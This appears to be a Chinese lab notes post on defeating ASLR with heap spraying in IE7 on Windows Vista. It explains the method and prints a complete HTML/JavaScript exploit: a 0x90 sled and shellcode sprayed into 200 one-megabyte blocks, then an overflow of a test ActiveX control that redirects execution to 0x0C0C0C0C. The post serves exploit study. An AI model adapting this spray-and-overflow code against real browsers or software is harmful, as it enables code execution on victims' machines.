1. 程式人生 > 實用技巧 >漏洞學習筆記-019-利用HeapSpray攻擊ASLR

漏洞學習筆記-019-利用HeapSpray攻擊ASLR


利用Heap Spray(堆噴射)技術來攻擊ASLR並定位shellcode

本文來源:Moeomu的部落格


原理

通過申請大量的記憶體,佔領記憶體中的0x0C0C0C0C的位置,並在這些記憶體中放置0x90和shellcode,最後控制程式轉入0x0C0C0C0C執行。只要運氣不要差到0x0C0C0C0C剛好位於shellcode中的某個位置,shellcode就可以成功執行

實驗

準備工作

環境:系統:Windows Vista SP0,DEP狀態:預設,瀏覽器:IE7

  • 還是將之前用過的Vulner_AX.dll作為攻擊目標
  • VulnerAX.idlCVulnerAXCtrl的類資訊的UUID:ACA3927C-6BD1-4B4E-8697-72481279AAEC

思想

  • 我們利用Heap spray技術在記憶體中申請200個1MB的記憶體塊來對抗ASLR的隨機化處理
  • 每個記憶體塊中包含著0x90填充和shellcode
  • Heap spray結束後我們會佔領0x0C0C0C0C附近的記憶體,我們只要控制程式轉入0x0C0C0C0C執行,在經過若干個0x90滑行之後就可以到達shellcode範圍並執行
  • test函式中存在一個典型的溢位漏洞,通過複製超長字串可以覆蓋函式返回地址
  • 我們將函式返回地址覆蓋為0x0C0C0C0C,在函式執行返回執行後就會轉入我們申請的記憶體空間中

程式碼

<html>
<body>
<script>
    var nops = unescape("%u9090%u9090");
    var shellcode = "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u616B\u6F6F\u4D68\u7369\u8B61\u53c4\u5050\uff53\ufc57\uff53\uf857";
    while (nops.length < 0x100000)
        nops += nops;
    nops = nops.substring(0, 0x100000/2-32/2-4/2-2/2-shellcode.length);
    nops = nops + shellcode;
    var memory = new Array();
    for (var i = 0; i < 200; i++)
        memory[i] += nops;
</script>
<object classid="clsid:ACA3927C-6BD1-4B4E-8697-72481279AAEC" id="test"> </object>
<script>
    var s = "\u9090";
    while (s.length < 54)
    {
        s += "\u9090";
    }
    s += "\u0C0C\u0C0C";
    test.test(s);
</script>
</body>
</html>

結果

  • 成功攻擊ASLR,如圖